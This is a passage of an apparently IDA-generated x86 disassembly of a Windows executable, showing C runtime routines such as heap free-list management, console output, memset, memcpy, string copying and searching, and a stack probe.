		mov	dword_4111A8[eax*4], 0
		mov	eax, [ebp+var_8]
		cmp	dword_4111F8, eax
		jnz	short loc_406F69
		jmp	short loc_406F1C
; ---------------------------------------------------------------------------


loc_406F16:				; CODE XREF: sub_406D70+1BEj
		inc	dword_4111F8


loc_406F1C:				; CODE XREF: sub_406D70+1A4j
		mov	eax, dword_4111F8
		cmp	dword_4111A8[eax*4], 0
		jnz	short loc_406F30
		cmp	eax, 7
		jl	short loc_406F16


loc_406F30:				; CODE XREF: sub_406D70+1B9j
		jmp	short loc_406F69
; ---------------------------------------------------------------------------


loc_406F32:				; CODE XREF: sub_406D70+189j
		mov	eax, [ebp+var_4]
		mov	eax, [eax-8]
		mov	[ebp+var_18], eax
		mov	edx, [ebp+var_18]
		mov	eax, [ebp+var_14]
		mov	[edx-4], eax
		mov	edx, [ebp+var_14]
		mov	eax, [ebp+var_18]
		mov	[edx-8], eax
		mov	eax, [ebp+var_8]
		mov	eax, dword_4111A8[eax*4]
		cmp	eax, [ebp+var_4]
		jnz	short loc_406F69
		mov	eax, [ebp+var_8]
		mov	edx, [ebp+var_18]
		mov	dword_4111A8[eax*4], edx


loc_406F69:				; CODE XREF: sub_406D70+1A2j
					; sub_406D70:loc_406F30j ...
		mov	[ebx], edi
		mov	eax, edi
		shl	eax, 2
		mov	edx, ebx
		sub	edx, eax
		mov	[edx+4], edi


loc_406F77:				; CODE XREF: sub_406D70+E4j
		cmp	edi, dword_4111E4
		ja	short loc_406FB1
		cmp	edi, dword_4111DC
		ja	short loc_406F99
		mov	eax, dword_4111D8
		cmp	edi, eax
		setnbe	al
		and	eax, 1
		mov	[ebp+var_10], eax
		jmp	short loc_406FAC
; ---------------------------------------------------------------------------


loc_406F99:				; CODE XREF: sub_406D70+215j
		mov	eax, dword_4111E0
		cmp	edi, eax
		setnbe	al
		and	eax, 1
		add	eax, 2
		mov	[ebp+var_10], eax


loc_406FAC:				; CODE XREF: sub_406D70+227j
		mov	eax, [ebp+var_10]
		jmp	short loc_406FE1
; ---------------------------------------------------------------------------


loc_406FB1:				; CODE XREF: sub_406D70+20Dj
		cmp	edi, dword_4111EC
		ja	short loc_406FCE
		mov	eax, dword_4111E8
		cmp	edi, eax
		setnbe	al
		and	eax, 1
		add	eax, 4
		mov	[ebp+var_10], eax
		jmp	short loc_406FE1
; ---------------------------------------------------------------------------


loc_406FCE:				; CODE XREF: sub_406D70+247j
		mov	eax, dword_4111F0
		cmp	edi, eax
		setnbe	al
		and	eax, 1
		add	eax, 6
		mov	[ebp+var_10], eax


loc_406FE1:				; CODE XREF: sub_406D70+23Fj
					; sub_406D70+25Cj
		mov	eax, [ebp+var_10]
		mov	[ebp+var_8], eax
		cmp	[ebp+var_C], eax
		jz	loc_4070DD
		cmp	[ebp+var_C], 0
		jl	short loc_407069
		mov	eax, [ebx-4]
		mov	[ebp+var_14], eax
		cmp	ebx, [ebp+var_14]
		jnz	short loc_407038
		mov	eax, [ebp+var_C]
		mov	dword_4111A8[eax*4], 0
		mov	eax, [ebp+var_C]
		cmp	dword_4111F8, eax
		jnz	short loc_407069
		jmp	short loc_407022
; ---------------------------------------------------------------------------


loc_40701C:				; CODE XREF: sub_406D70+2C4j
		inc	dword_4111F8


loc_407022:				; CODE XREF: sub_406D70+2AAj
		mov	eax, dword_4111F8
		cmp	dword_4111A8[eax*4], 0
		jnz	short loc_407036
		cmp	eax, 7
		jl	short loc_40701C


loc_407036:				; CODE XREF: sub_406D70+2BFj
		jmp	short loc_407069
; ---------------------------------------------------------------------------


loc_407038:				; CODE XREF: sub_406D70+28Fj
		mov	eax, [ebx-8]
		mov	[ebp+var_18], eax
		mov	edx, [ebp+var_18]
		mov	eax, [ebp+var_14]
		mov	[edx-4], eax
		mov	edx, [ebp+var_14]
		mov	eax, [ebp+var_18]
		mov	[edx-8], eax
		mov	eax, [ebp+var_C]
		cmp	ebx, dword_4111A8[eax*4]
		jnz	short loc_407069
		mov	eax, [ebp+var_C]
		mov	edx, [ebp+var_18]
		mov	dword_4111A8[eax*4], edx


loc_407069:				; CODE XREF: sub_406D70+284j
					; sub_406D70+2A8j ...
		mov	eax, [ebp+var_8]
		mov	eax, dword_4111A8[eax*4]
		mov	[ebp+var_18], eax
		test	eax, eax
		jnz	short loc_40709F
		mov	[ebp+var_14], ebx
		mov	[ebp+var_18], ebx
		mov	eax, [ebp+var_8]
		mov	dword_4111A8[eax*4], ebx
		mov	eax, [ebp+var_8]
		cmp	dword_4111F8, eax
		jle	short loc_4070A8
		mov	eax, [ebp+var_8]
		mov	dword_4111F8, eax
		jmp	short loc_4070A8
; ---------------------------------------------------------------------------


loc_40709F:				; CODE XREF: sub_406D70+308j
		mov	eax, [ebp+var_18]
		mov	eax, [eax-8]
		mov	[ebp+var_14], eax


loc_4070A8:				; CODE XREF: sub_406D70+323j
					; sub_406D70+32Dj
		mov	eax, [ebp+var_18]
		mov	[ebx-4], eax
		mov	edx, [ebp+var_18]
		mov	[edx-8], ebx
		mov	edx, [ebp+var_14]
		mov	[edx-4], ebx
		mov	eax, [ebp+var_14]
		mov	[ebx-8], eax
		mov	eax, edi
		shl	eax, 2
		mov	edx, ebx
		sub	edx, eax
		mov	[edx+4], edi
		mov	[ebx], edi
		mov	eax, [ebp+var_8]
		mov	dword_4111FC, eax
		mov	dword_4111A8[eax*4], ebx


loc_4070DD:				; CODE XREF: sub_406D70+26j
					; sub_406D70+27Aj
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_406D70	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4070F0	proc near		; CODE XREF: sub_401076+Fp
					; DMN0:00401138p ...

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 00407163 SIZE 00000011 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_40F864
		push	offset sub_4083B8
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ebx, [ebp+arg_0]
		test	ebx, ebx
		jz	short loc_407163
		lea	eax, [ebx-4]
		cmp	eax, dword_4111D0
		jbe	short loc_407130
		cmp	eax, dword_4111CC
		jb	short loc_407139


loc_407130:				; CODE XREF: sub_4070F0+36j
		push	ebx
		call	sub_408630
		pop	ecx
		jmp	short loc_407163
; ---------------------------------------------------------------------------


loc_407139:				; CODE XREF: sub_4070F0+3Ej
		push	0
		call	sub_408740
		pop	ecx
		mov	[ebp+var_4], 0
		push	ebx
		call	sub_406D70
		pop	ecx
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_40715A
		jmp	short loc_407163
sub_4070F0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40715A	proc near		; CODE XREF: sub_4070F0+63p
					; DATA XREF: DMN0:0040F86Co
		push	0
		call	sub_4087C0
		pop	ecx
		retn
sub_40715A	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4070F0


loc_407163:				; CODE XREF: sub_4070F0+2Bj
					; sub_4070F0+47j ...
		pop	edi
		pop	esi
		pop	ebx
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_4070F0
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407180	proc near		; DATA XREF: sub_4071C0+38o
					; sub_448141+38o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+arg_8]
		mov	edi, ebx
		cmp	[edi+4], esi
		jnb	short loc_407196
		mov	esi, [edi+4]


loc_407196:				; CODE XREF: sub_407180+11j
		push	esi
		mov	eax, [ebp+arg_4]
		push	eax
		mov	eax, [edi]
		push	eax
		call	sub_407630
		add	esp, 0Ch
		mov	eax, [edi]
		add	eax, esi
		mov	[edi], eax
		sub	[edi+4], esi
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_407180	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4071C0	proc near		; CODE XREF: DMN0:004010F0p
					; DMN0:00401120p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		cmp	[ebp+arg_4], 0
		jnz	short loc_4071DC
		lea	eax, [ebp+var_4]
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], 0
		jmp	short loc_4071EC
; ---------------------------------------------------------------------------


loc_4071DC:				; CODE XREF: sub_4071C0+Bj
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		dec	eax
		mov	[ebp+arg_4], eax
		mov	[ebp+var_4], eax


loc_4071EC:				; CODE XREF: sub_4071C0+1Aj
		mov	eax, [ebp+arg_C]
		push	eax
		mov	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset sub_407180
		call	sub_4087E0
		add	esp, 10h
		mov	ebx, eax
		mov	edx, [ebp+var_8]
		mov	byte ptr [edx],	0
		mov	eax, ebx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4071C0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407220	proc near		; DATA XREF: sub_407260+22o
					; sub_4481E1+22o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+arg_8]
		push	0
		lea	eax, [ebp+var_4]
		push	eax
		push	esi
		mov	eax, [ebp+arg_4]
		push	eax
		push	ebx
		call	dword_411D94	; WriteConsoleA
		test	eax, eax
		jz	short loc_40724E
		cmp	[ebp+var_4], esi
		jnz	short loc_40724E
		mov	edi, ebx
		jmp	short loc_407250
; ---------------------------------------------------------------------------


loc_40724E:				; CODE XREF: sub_407220+23j
					; sub_407220+28j
		xor	edi, edi


loc_407250:				; CODE XREF: sub_407220+2Cj
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_407220	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407260	proc near		; CODE XREF: DMN0:00401130p
					; DMN0:0040114Cp ...

arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		call	sub_408A60
		mov	ebx, eax
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_407279
		or	eax, 0FFFFFFFFh
		jmp	short loc_407291
; ---------------------------------------------------------------------------


loc_407279:				; CODE XREF: sub_407260+12j
		lea	edi, [ebp+arg_4]
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	offset sub_407220
		call	sub_4087E0
		add	esp, 10h
		mov	esi, eax


loc_407291:				; CODE XREF: sub_407260+17j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_407260	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4072A0	proc near		; DATA XREF: sub_4072C0+11o
					; sub_448241+11o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_8]
		push	ebx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_407630
		add	esp, 0Ch
		add	eax, ebx
		pop	ebx
		pop	ebp
		retn
sub_4072A0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4072C0	proc near		; CODE XREF: DMN0:004011CCp
					; sub_4025A9+17Fp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		lea	esi, [ebp+arg_8]
		push	esi
		mov	eax, [ebp+arg_4]
		push	eax
		mov	eax, [ebp+arg_0]
		push	eax
		push	offset sub_4072A0
		call	sub_4087E0
		add	esp, 10h
		mov	ebx, eax
		test	ebx, ebx
		jl	short loc_4072EB
		mov	eax, [ebp+arg_0]
		mov	byte ptr [eax+ebx], 0


loc_4072EB:				; CODE XREF: sub_4072C0+22j
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4072C0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407300	proc near		; CODE XREF: DMN0:004011F1p
					; sub_403838+77p ...

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

; FUNCTION CHUNK AT 00407364 SIZE 00000014 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_40F870
		push	offset sub_4083B8
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		push	6
		call	sub_408740
		pop	ecx
		mov	[ebp+var_4], 0
		call	sub_408AC0
		push	0FFFFFFFFh
		push	eax
		mov	eax, [ebp+arg_4]
		push	eax
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_408B20
		add	esp, 10h
		mov	[ebp+var_1C], eax
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_40735B
		jmp	short loc_407364
sub_407300	endp


; =============== S U B	R O U T	I N E =======================================



sub_40735B	proc near		; CODE XREF: sub_407300+54p
					; DATA XREF: DMN0:0040F878o
		push	6
		call	sub_4087C0
		pop	ecx
		retn
sub_40735B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_407300


loc_407364:				; CODE XREF: sub_407300+59j
		mov	eax, [ebp+var_1C]
		pop	edi
		pop	esi
		pop	ebx
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_407300
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407380	proc near		; DATA XREF: sub_4073B0+10o
					; sub_448331+10o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+arg_8]
		push	ebx
		push	esi
		push	1
		mov	eax, [ebp+arg_4]
		push	eax
		call	sub_407760
		add	esp, 10h
		cmp	eax, esi
		jnz	short loc_4073A4
		mov	edi, ebx
		jmp	short loc_4073A6
; ---------------------------------------------------------------------------


loc_4073A4:				; CODE XREF: sub_407380+1Ej
		xor	edi, edi


loc_4073A6:				; CODE XREF: sub_407380+22j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_407380	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4073B0	proc near		; CODE XREF: DMN0:0040120Bp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	eax, [ebp+arg_4]
		push	eax
		mov	eax, [ebp+arg_0]
		push	eax
		push	offset sub_407380
		call	sub_4087E0
		add	esp, 10h
		mov	ebx, eax
		pop	ebx
		pop	ebp
		retn
sub_4073B0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4073E0	proc near		; DATA XREF: sub_407400+48o
					; sub_448381+48o
		push	ebx
		xor	ebx, ebx


loc_4073E3:				; CODE XREF: sub_4073E0+1Cj
		mov	eax, off_411370[ebx*4]
		test	eax, eax
		jz	short loc_4073F5
		push	eax
		call	sub_407560
		pop	ecx


loc_4073F5:				; CODE XREF: sub_4073E0+Cj
		inc	ebx
		cmp	ebx, 100h
		jb	short loc_4073E3
		pop	ebx
		retn
sub_4073E0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407400	proc near		; CODE XREF: sub_408B20:loc_408C54p
					; sub_408EA0+B2p ...

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00407467 SIZE 00000011 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_40F87C
		push	offset sub_4083B8
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		push	6
		call	sub_408740
		pop	ecx
		mov	[ebp+var_4], 0
		cmp	dword_41105C, 0
		jnz	short loc_407453
		mov	dword_41105C, 1
		push	offset sub_4073E0
		call	sub_408C70
		pop	ecx


loc_407453:				; CODE XREF: sub_407400+3Cj
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_40745E
		jmp	short loc_407467
sub_407400	endp


; =============== S U B	R O U T	I N E =======================================



sub_40745E	proc near		; CODE XREF: sub_407400+57p
					; DATA XREF: DMN0:0040F884o
		push	6
		call	sub_4087C0
		pop	ecx
		retn
sub_40745E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_407400


loc_407467:				; CODE XREF: sub_407400+5Cj
		pop	edi
		pop	esi
		pop	ebx
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_407400
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_407480	proc near		; CODE XREF: sub_407560+39p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		mov	ebx, [esp+0Ch+arg_0]
		push	ebx
		call	sub_408CA0
		pop	ecx
		mov	esi, eax
		test	word ptr [ebx],	40h
		jz	short loc_4074A1
		mov	eax, [ebx+8]
		push	eax
		call	sub_4070F0
		pop	ecx


loc_4074A1:				; CODE XREF: sub_407480+15j
		mov	dword ptr [ebx+8], 0
		mov	eax, [ebx+4]
		test	eax, eax
		jl	short loc_4074BD
		push	eax
		call	sub_408E20
		pop	ecx
		test	eax, eax
		jz	short loc_4074BD
		or	esi, 0FFFFFFFFh


loc_4074BD:				; CODE XREF: sub_407480+2Dj
					; sub_407480+38j
		mov	eax, [ebx+3Ch]
		test	eax, eax
		jz	short loc_4074E3
		push	eax
		call	sub_407A90
		pop	ecx
		test	eax, eax
		jz	short loc_4074D2
		or	esi, 0FFFFFFFFh


loc_4074D2:				; CODE XREF: sub_407480+4Dj
		mov	eax, [ebx+3Ch]
		push	eax
		call	sub_4070F0
		pop	ecx
		mov	dword ptr [ebx+3Ch], 0


loc_4074E3:				; CODE XREF: sub_407480+42j
		test	word ptr [ebx],	80h
		jz	short loc_407514
		xor	edi, edi


loc_4074EC:				; CODE XREF: sub_407480+89j
		cmp	ebx, off_411370[edi*4]
		jnz	short loc_407502
		mov	off_411370[edi*4], 0
		jmp	short loc_40750B
; ---------------------------------------------------------------------------


loc_407502:				; CODE XREF: sub_407480+73j
		inc	edi
		cmp	edi, 100h
		jb	short loc_4074EC


loc_40750B:				; CODE XREF: sub_407480+80j
		push	ebx
		call	sub_4070F0
		pop	ecx
		jmp	short loc_40754D
; ---------------------------------------------------------------------------


loc_407514:				; CODE XREF: sub_407480+68j
		mov	word ptr [ebx],	0
		or	dword ptr [ebx+4], 0FFFFFFFFh
		lea	eax, [ebx+48h]
		mov	[ebx+8], eax
		lea	eax, [ebx+48h]
		mov	[ebx+10h], eax
		lea	eax, [ebx+48h]
		mov	[ebx+14h], eax
		lea	eax, [ebx+48h]
		mov	[ebx+2Ch], eax
		lea	eax, [ebx+48h]
		mov	[ebx+18h], eax
		lea	eax, [ebx+48h]
		mov	[ebx+30h], eax
		lea	eax, [ebx+48h]
		mov	[ebx+1Ch], eax
		lea	eax, [ebx+28h]
		mov	[ebx+20h], eax


loc_40754D:				; CODE XREF: sub_407480+92j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_407480	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407560	proc near		; CODE XREF: DMN0:00401214p
					; sub_403838+108p ...

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 004075B6 SIZE 00000014 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_40F888
		push	offset sub_4083B8
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		push	6
		call	sub_408740
		pop	ecx
		mov	[ebp+var_4], 0
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_407480
		pop	ecx
		mov	[ebp+var_1C], eax
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_4075AD
		jmp	short loc_4075B6
sub_407560	endp


; =============== S U B	R O U T	I N E =======================================



sub_4075AD	proc near		; CODE XREF: sub_407560+46p
					; DATA XREF: DMN0:0040F890o
		push	6
		call	sub_4087C0
		pop	ecx
		retn
sub_4075AD	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_407560


loc_4075B6:				; CODE XREF: sub_407560+4Bj
		mov	eax, [ebp+var_1C]
		pop	edi
		pop	esi
		pop	ebx
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_407560
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4075D0	proc near		; CODE XREF: sub_401567+Fp
					; sub_4015B7+Fp ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_8]
		test	edx, edx
		jz	short loc_40761E
		mov	ecx, [esp+arg_0]
		xor	eax, eax
		mov	al, [esp+arg_4]
		push	edi
		mov	edi, ecx
		cmp	edx, 4
		jb	short loc_407617
		neg	ecx
		and	ecx, 3
		jz	short loc_4075F9
		sub	edx, ecx


loc_4075F3:				; CODE XREF: sub_4075D0+27j
		mov	[edi], al
		inc	edi
		dec	ecx
		jnz	short loc_4075F3


loc_4075F9:				; CODE XREF: sub_4075D0+1Fj
		mov	ecx, eax
		shl	eax, 8
		add	eax, ecx
		mov	ecx, eax
		shl	eax, 10h
		add	eax, ecx
		mov	ecx, edx
		and	edx, 3
		shr	ecx, 2
		jz	short loc_407617
		rep stosd
		test	edx, edx
		jz	short loc_40761D


loc_407617:				; CODE XREF: sub_4075D0+18j
					; sub_4075D0+3Fj ...
		mov	[edi], al
		inc	edi
		dec	edx
		jnz	short loc_407617


loc_40761D:				; CODE XREF: sub_4075D0+45j
		pop	edi


loc_40761E:				; CODE XREF: sub_4075D0+6j
		mov	eax, [esp+arg_0]
		retn
sub_4075D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_407630	proc near		; CODE XREF: sub_401A55+2Cp
					; sub_401ADA+57p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		mov	ecx, [esp+4+arg_8]
		mov	ebx, [esp+4+arg_0]
		mov	edx, [esp+4+arg_4]
		jmp	short loc_407646
; ---------------------------------------------------------------------------


loc_40763F:				; CODE XREF: sub_407630+18j
		mov	al, [edx]
		mov	[ebx], al
		inc	ebx
		inc	edx
		dec	ecx


loc_407646:				; CODE XREF: sub_407630+Dj
		test	ecx, ecx
		jnz	short loc_40763F
		mov	eax, [esp+4+arg_0]
		pop	ebx
		retn
sub_407630	endp


; =============== S U B	R O U T	I N E =======================================



sub_407650	proc near		; CODE XREF: sub_402208+2Ep
					; sub_402511+11p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		mov	edx, ecx
		jmp	short loc_407659
; ---------------------------------------------------------------------------


loc_407658:				; CODE XREF: sub_407650+Cj
		inc	edx


loc_407659:				; CODE XREF: sub_407650+6j
		cmp	byte ptr [edx],	0
		jnz	short loc_407658
		mov	eax, edx
		sub	eax, ecx
		retn
sub_407650	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_407670	proc near		; CODE XREF: sub_402296+3Fp
					; sub_4025A9+2D6p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	edi
		mov	ecx, [esp+8+arg_0]
		mov	ebx, [esp+8+arg_4]
		mov	edi, ecx


loc_40767C:				; CODE XREF: sub_407670+18j
		mov	eax, edi
		inc	edi
		mov	edx, ebx
		inc	ebx
		mov	dl, [edx]
		mov	[eax], dl
		test	dl, dl
		jnz	short loc_40767C
		mov	eax, ecx
		pop	edi
		pop	ebx
		retn
sub_407670	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_407690	proc near		; CODE XREF: sub_402296+53p
					; sub_402296+66p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ecx, [esp+4+arg_0]
		mov	ebx, [esp+4+arg_4]
		mov	edx, ecx
		jmp	short loc_40769E
; ---------------------------------------------------------------------------


loc_40769D:				; CODE XREF: sub_407690+11j
		inc	edx


loc_40769E:				; CODE XREF: sub_407690+Bj
		cmp	byte ptr [edx],	0
		jnz	short loc_40769D
		jmp	short loc_4076A7
; ---------------------------------------------------------------------------


loc_4076A5:				; CODE XREF: sub_407690+1Dj
		inc	edx
		inc	ebx


loc_4076A7:				; CODE XREF: sub_407690+13j
		mov	al, [ebx]
		mov	[edx], al
		test	al, al
		jnz	short loc_4076A5
		mov	eax, ecx
		pop	ebx
		retn
sub_407690	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4076C0	proc near		; CODE XREF: sub_4025A9+268p
					; sub_4025A9+297p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	ebx, [esp+0Ch+arg_0]
		mov	eax, [esp+0Ch+arg_4]
		cmp	byte ptr [eax],	0
		jnz	short loc_4076F0
		mov	eax, ebx
		jmp	short loc_407709
; ---------------------------------------------------------------------------


loc_4076D4:				; CODE XREF: sub_4076C0+45j
		mov	edi, ebx
		mov	esi, [esp+0Ch+arg_4]


loc_4076DA:				; CODE XREF: sub_4076C0+2Dj
		inc	esi
		mov	eax, esi
		cmp	byte ptr [eax],	0
		jnz	short loc_4076E6
		mov	eax, ebx
		jmp	short loc_407709
; ---------------------------------------------------------------------------


loc_4076E6:				; CODE XREF: sub_4076C0+20j
		inc	edi
		mov	eax, edi
		mov	dl, [esi]
		cmp	[eax], dl
		jz	short loc_4076DA
		inc	ebx


loc_4076F0:				; CODE XREF: sub_4076C0+Ej
		mov	eax, [esp+0Ch+arg_4]
		movzx	eax, byte ptr [eax]
		push	eax
		push	ebx
		call	sub_408E80
		add	esp, 8
		mov	ebx, eax
		test	eax, eax
		jnz	short loc_4076D4
		xor	eax, eax


loc_407709:				; CODE XREF: sub_4076C0+12j
					; sub_4076C0+24j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4076C0	endp

; ---------------------------------------------------------------------------
		align 10h
		pop	ecx
		pop	eax
		add	eax, 3
		and	eax, 0FFFFFFFCh
		call	sub_407730
		mov	eax, esp
		push	ecx
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_407730	proc near		; CODE XREF: sub_402896+8p
					; sub_402B02+8p ...

arg_0		= byte ptr  4

		push	ecx
		cmp	eax, 1000h
		lea	ecx, [esp+4+arg_0]
		jb	short loc_407750


loc_40773C:				; CODE XREF: sub_407730+1Ej
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_40773C


loc_407750:				; CODE XREF: sub_407730+Aj
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_407730	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407760	proc near		; CODE XREF: sub_403838+D8p
					; sub_405DF3+CBp ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
